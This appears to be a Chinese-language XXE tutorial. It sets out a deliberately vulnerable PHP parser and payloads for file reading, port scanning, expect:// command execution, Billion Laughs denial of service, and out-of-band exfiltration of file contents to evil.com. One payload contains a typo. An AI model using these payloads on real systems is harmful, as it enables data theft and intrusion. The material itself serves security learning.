XXE (XML External Entity Injection)
0x01 什么是 XXE
XML 外部实体注入
若是 PHP,libxml_disable_entity_loader 设置为 TRUE 可禁用外部实体注入
0x02 XXE 利用
简单文件读取
基于 file 协议的 XXE 攻击
- XMLInject.php
- <?php
- # Enable the ability to load external entities
- libxml_disable_entity_loader (false);
- $xmlfile = file_get_contents('php://input');
- $dom = new DOMDocument();
- # http://hublog.hubmed.org/archives/001854.html
- # LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
- # LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
- $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
- $creds = simplexml_import_dom($dom);
- $user = $creds->user;
- $pass = $creds->pass;
- echo "You have logged in as user $user";`?>
file_get_content('php://input') 接收 post 数据, xml 数据
- XML.txt
- <?xml version="1.0" encoding="ISO-8859-1"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <creds>
- <user>&xxe;</user>
- <pass>mypass</pass>`</creds>
导致可以读出 etc/passwd 文件
在使用 file:// 协议时, 有以下几种格式:
- file://host/path
- * Linux
- file:///etc/passwd
- * Unix
- file://localhost/etc/fstab
- file:///localhost/etc/fstab
- * Windows
- file:///c:/windows/win.ini
- file://localhost/c:/windows/win.ini
- * (下面这两种在某些浏览器里是支持的)
- file:///c|windows/win.ini
- file://localhost/c|windows/win.ini
XML 文档是用 PHP 进行解析的, 那么还可以使用 php://filter 协议来进行读取.
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">
- ]>
- <root><foo>&content;</foo></root>
基于 netdoc 的 XXE 攻击
==XML 文档是用 Java 解析的话, 可利用 netdoc
- <?xml version="1.0"?>
- <!DOCTYPE data [
- <!ELEMENT data (#PCDATA)>
- <!ENTITY file SYSTEM "netdoc:/sys/power/image_size">
- ]>
- <data>&file;</data>
端口扫描
加载外部 DTD 时有两种加载方式, 一种为私有 private, 第二种为公共 public.
私有类型 DTD 加载:
<!ENTITY private_dtd SYSTEM "DTD_location">
公共类型 DTD 加载:
<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">
在公共类型 DTD 加载的时候, 首先会使用 DTD_name 来检索, 如果无法找到, 则通过 DTD_location 来寻找此公共 DTD. 利用 DTD_location, 在一定的环境下可以用来做内网探测.
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY portscan SYSTEM "http://localhost:3389">
- ]>
- <root><foo>&portscan;</foo></root>
因解析器种类不同, 所以针对 XXE 攻击进行端口扫描需要一个合适的环境才能够实现, 例如: 有明显的连接错误信息.
利用 DTD 进行数据回显
有时读取文件时没有回显, 这时可以利用 DTD 参数实体的特性将文件内容拼接到 url 中, 达到读取文件的效果.
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root[
- <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">
- <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">
- %dtd;
- %send;]>
- <root></root>
- evil.dtd
- <!ENTITY % payload "<!ENTITY % send SYSTEM'http://evil.com/?content=%file;'>">
- %payload;
在 evil.dtd 中将 %file 实体的内容拼接到 url 后, 然后利用 burp 等工具, 查看 url 请求就能获得我们需要的内容
远程命令执行
需要 PHP 开启了 PECL 上的 Expect 扩展
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY content SYSTEM "expect://dir .">
- ]>
- <root><foo>&content;</foo></root>
攻击内网网站
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE root [
- <!ENTITY exp SYSTEM "http://192.168.1.103/payload">
- ]>
- <root><foo>&exp;</foo></root>
利用外部实体构造 payload 向内网其他机器发出请求
DDoS
最典型的案例 Billion Laughs 攻击
- <!DOCTYPE data [
- <!ENTITY a0 "dos">
- <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
- <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
- <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
- <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
- ]>
- <data>&a4;</data>
- DTD:
普通实体: DTD 中定义, XML 中使用, 使用格式: & 名;
参数实体: DTD 中定义, 定义的时候要用 %,DTD 中使用, 使用格式: % 名;
普通实体和参数实体都分为内部实体和外部实体两种, 外部实体定义需要加上 SYSTEM 关键字, 其内容是 URL 所指向的外部文件实际的内容.
如果不加 SYSTEM 关键字, 则为内部实体, 表示实体指代内容为字符串.
0x03 XXE 漏洞挖掘
提交 POST 请求 XML 文件
提交一个 POST 请求, 请求头加上 Content-type:application/xml
同时添加测试代码
- <?xml version="1.0"encoding="utf-8"?>
- <test>cat</test>
通过 OOB(Out-of-band) 方法远程访问文件测试
自建一个网站开启 80 端口
在测试网站提交 payload, 如下
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
- ]>
- <GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3. 查看网站返回内容
4. 查看自建服务器访问日志, 是否有 DTD 文件等请求
0x04 XXE 自动化工具
XXEinjector
0x05 参考链接
- https://b1ngz.github.io/XXE-learning-note/
- http://colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe/
- https://security.tencent.com/index.php/blog/msg/69
- http://rickgray.me/2015/06/08/xml-entity-attack-review.html
- http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html
- http://www.freebuf.com/articles/web/97833.html
- https://zhuanlan.zhihu.com/p/24275040
- 4.XXE (XML External Entity Injection)
来源: http://www.bubuko.com/infodetail-2721489.html